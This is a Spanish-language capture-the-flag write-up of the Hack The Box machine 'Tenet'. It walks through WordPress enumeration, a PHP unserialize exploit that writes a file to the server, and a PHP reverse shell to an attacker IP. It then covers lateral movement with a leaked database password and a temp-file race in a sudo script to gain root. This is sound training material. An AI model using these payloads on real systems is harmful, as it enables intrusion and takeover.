Tenet es presentada con dificultad media, la enumeracion en wordpress nos llevo al codigo fuente de una pagina la cual fue vulnerada mediante un objeto serializado. Se utilizaron las credenciales en archivos de configuracion para realizar movimiento lateral. Un pequeño script para la escritura de nuestra clave privada en un archivo temporal proporciono una shell root.
Nombre |
Tenet |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.10.223 |
Maker |
egotisticalSW |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[5.9, 4.7, 4.2, 5.8, 5.3],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[7, 4, 2, 8, 6],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
NMAP
Escaneo de puertos con nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
# Nmap 7.91 scan initiated Tue Mar 30 23:41:39 2021 as: nmap -p- --min-rate 10000 -oN allports 10.10.10.223
Warning: 10.10.10.223 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.223 (10.10.10.223)
Host is up (0.13s latency).
Not shown: 36387 closed ports, 29146 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Tue Mar 30 23:43:09 2021 -- 1 IP address (1 host up) scanned in 89.70 seconds
# Nmap 7.91 scan initiated Tue Mar 30 23:43:28 2021 as: nmap -p 22,80 -sV -sC -oN serviceports 10.10.10.223
Nmap scan report for 10.10.10.223 (10.10.10.223)
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 30 23:43:38 2021 -- 1 IP address (1 host up) scanned in 9.99 seconds
|
HTTP
Encontramos la pagina de apache en el puerto 80.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
|
/index.html (Status: 200)
/users.txt (Status: 200)
/wordpress (Status: 301)
|
El archivo users.txt
solo muestra un pequeño mensaje.
WORDPRESS
La pagina de wordpress tiene configurado un dominio tenet.htb
.
1
2
3
4
5
6
7
8
|
HTTP/1.1 404 Not Found
Date: Wed, 31 Mar 2021 03:52:10 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <http://tenet.htb/index.php/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
|
WPSCAN
Utilizamos wpscan para enumerar plugins vulnerables y usuarios registrados. Encontramos dos nombres de usuario: protagonist
y neil
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
[+] URL: http://tenet.htb/ [10.10.10.223]
[+] Started: Tue Mar 30 23:51:33 2021
Interesting Finding(s):
[... REDACTED ...]
[+] Upload directory has listing enabled: http://tenet.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 5.6 identified (Outdated, released on 2020-12-08).
| Found By: Rss Generator (Passive Detection)
| - http://tenet.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.6</generator>
| - http://tenet.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.6</generator>
[+] WordPress theme in use: twentytwentyone
| Location: http://tenet.htb/wp-content/themes/twentytwentyone/
[... REDACTED ...]
| Version: 1.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://tenet.htb/wp-content/themes/twentytwentyone/style.css?ver=1.0, Match: 'Version: 1.0'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <========== ... ======> (10 / 10) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] protagonist
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://tenet.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] neil
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[... REDACTED ...]
|
Asi mismo enumeramos los diferentes posts, donde logramos obtener informacion en los comentarios de neil
, menciona el archivo sator.php
y backup
.
1
|
neil: did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!
|
Encontramos que el archivo sator.php
aun existe pero no en el dominio que encontramos si no directamente en la direcion IP, por lo que posiblemente el backup
esté en el mismo lugar.
1
2
|
[+] Grabbing users from text file <br>
[] Database updated <br>
|
PHP UNSERIALIZE - RCE
Neil habla de un backup pero no especifíca de que archivo/software/db, aunque menciona sator.php
, agregamos la extension de un backup (bak
) al archivo sator.php.bak
y logramos obtener el codigo fuente.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
|
Al analizar el codigo, observamos una variable que obtiene el valor pasado al parametro arepo
por medio de una solicitud GET, este valor es unserializado (unzerialize($_GET['arepo'])
), por ultimo se crea un objeto del tipo DatabaseExport()
y realiza la ejecucion de la funcion update_db()
. Sabiendo lo anterior vamos a enfocarnos en la funcion unserialize()
ya que si se le pasa un valor serializado este puede ser ejecutado como se indica en la documentacion de php.
Advertencia: … La deserialización puede resultar en que el código sea cargado y ejecutado debido a la instanciación y autocarga de objetos, y un usuario malicioso podría ser capaz de explotar este comportamiento. …
Un post que explica como es posible explotar esta vulnerabilidad. En el caso de sator.php
, este crea y escribe dentro de un archivo con el valor de las variables. Si podriamos cambiar estos valores podriamos crear archivos con codigo PHP para la ejecucion de nuestro propio codigo. Para explotar unserialize()
se crea una clase, se crea un objeto, se serializa y codifica en url, este valor se le pasa a sator.php?arepo=VALOR
.
1
2
3
4
5
6
7
8
9
10
|
<?php
class DatabaseExport
{
public $user_file = 'batman.php';
public $data = '<?php echo "knock knock"; ?>';
}
echo urlencode(serialize(new DatabaseExport));
?>
|
1
2
3
4
5
|
┌──(kali㉿kali)-[~/htb/tenet]
└─$ php example.php
O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A10%3A%22batman.php%22%3Bs%3A4%3A%22data%22%3Bs%3A28%3A%22%3C%3Fphp+echo+%22knock+knock%22%3B+%3F%3E%22%3B%7D
┌──(kali㉿kali)-[~/htb/tenet]
└─$ curl -s "http://10.10.10.223/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A10%3A%22batman.php%22%3Bs%3A4%3A%22data%22%3Bs%3A28%3A%22%3C%3Fphp+echo+%22knock+knock%22%3B+%3F%3E%22%3B%7D"
|
Confirmamos que el archivo se haya creado, por lo que ahora vamos a ejecutar comandos para enumerar la maquina utilizando una webshell o ejecutando una shell inversa.
1
2
3
4
5
|
┌──(kali㉿kali)-[~/htb/tenet]
└─$ curl -s http://10.10.10.223/batman.php
knock knock
┌──(kali㉿kali)-[~/htb/tenet]
└─$
|
WWW-DATA - USER
Utilizamos el siguiente codigo en la variable $data
generamos el codigo serializado y codificado, se envia a la solicitud a sator.php
para obtener una shell con el usuario www-data
.
1
2
3
|
<?php
[... REDACTED ...]
$data = '<?php $sock=fsockopen("10.10.10.10",1338);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);echo "hi" ?>';
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
┌──(kali㉿kali)-[~/htb/tenet]
└─$ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.10.10] from tenet.htb [10.10.10.223] 48066
can't access tty; job control turned off
which python
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash");'
whoami;id;pwd
whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html
www-data@tenet:/var/www/html$
|
NEIL - USER
Realizamos una pequeña enumeracion en los archivos de wordpress donde logramos encontrar una contraseña que aparentemente es del usuario neil
para la base de datos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
/** MySQL database username */
define( 'DB_USER', 'neil' );
/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'WP_HOME', 'http://tenet.htb');
define( 'WP_SITEURL', 'http://tenet.htb');
|
Verificamos que este mismo usuario exista en la maquina y tenga acceso en la maquina.
1
2
3
4
|
www-data@tenet:/var$
root:x:0:0:root:/root:/bin/bash
neil:x:1001:1001:neil,,,:/home/neil:/bin/bash
www-data@tenet:/var$
|
Utilizamos la contraseña encontrada, logramos obtener una shell y nuestra flag user.txt
en la carpeta de neil
.
1
2
3
4
5
6
7
8
9
10
|
su: Authentication failure
www-data@tenet:/$ su neil
Password: Opera2112
www-data@tenet:/$ echo $HOME
/home/neil
www-data@tenet:/$ cd
www-data@tenet:/$ cat user.txt | cut -c1-15
ebd148d5598d5dd
neil@tenet:~$
|
PRIVILEGE ESCALATION
Hacemos una pequeña enumeracion con sudo -l -l
y vemos que tenemos permisos root (sudo) para ejecutar el script enableSSH.sh
. Vemos el codigo del script y realiza la escritura de la clave publica ssh del usuario root
, pero vemos en la funcion addKey
que genera un archivo temporal donde realiza la escritura de la clave publica, luego verifica si el archivo existe y si es asi escribe la clave en /root/.ssh/authorized_keys
, finalmente elimina el archivo temporal creado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
neil@tenet:~$ sudo -l -l
Matching Defaults entries for neil on tenet:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User neil may run the following commands on tenet:
Sudoers entry:
RunAsUsers: ALL
RunAsGroups: ALL
Options: !authenticate
Commands:
/usr/local/bin/enableSSH.sh
neil@tenet:~$ ls -lah /usr/local/bin/enableSSH.sh
-rwxr-xr-x 1 root root 1.1K Dec 8 13:46 /usr/local/bin/enableSSH.sh
neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) # root@ubuntu
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded # root@ubuntu
neil@tenet:~$
|
La creacion del archivo temporal (tmpName
), la escritura de la clave en este y la eliminacion del archivo temporal es demaciado rapida, por lo que debemos de escribir lo más rapido posible en el archivo temporal nuestra clave publica. Para ello realizamos un bucle while escribiendo en el archivo /tmp/ssh-*
nuestra clave, hasta que en algun momento se realice la escritura ejecutando en repetidas ocaciones el script con sudo, al mismo tiempo realizamos intentos de ingreso por medio de ssh con usuario root a traves de ssh y esperamos a que en algun momento dado podamos acceder a la cuenta de root.
1
2
3
4
5
|
#!/bin/bash
while :
do
echo "ssh-rsa AAAAB3Nz[... REDACTED ...] neil@tenet" | tee /tmp/ssh* > /dev/null
done
|
1
2
|
#Intentos en SSH.
while true; do ssh -i .ssh/id_rsa root@localhost 2>/dev/null; done
|
Despues de varios intentos logramos obtener una shell con el usuario root y la flag root.txt
.
1
2
3
4
5
6
7
8
9
|
root@tenet:~# whoami; id; pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@tenet:~# ls
root.txt
root@tenet:~# cat root.txt | cut -c1-15
aaf8bff1f2fc43e
root@tenet:~#
|
CRONTAB
Encontramos un cron especificamente para eliminar el archivo authorized_keys
.
1
2
3
4
5
|
root@tenet:~# crontab -l
# [ ... REDACTED ...]
# m h dom mon dow command
*/3 * * * * rm /root/.ssh/authorized_keys
*/3 * * * * rm /dev/shm/*
|
MYSQL
Dentro de la base de datos de wordpress encontramos la contraseña encriptada del usuario protagonist
.
1
2
3
4
5
6
7
8
9
10
|
mysql> select user_login,user_pass from wp_users;
+-------------+------------------------------------+
| user_login | user_pass |
+-------------+------------------------------------+
| protagonist | $P$BqNNfN07OWdaEfHmGwufBs.b.BebvZ. |
| neil | $P$BtFC5SOvjEMFWLE4zq5DWXy7sJPUqM. |
+-------------+------------------------------------+
2 rows in set (0.00 sec)
mysql>
|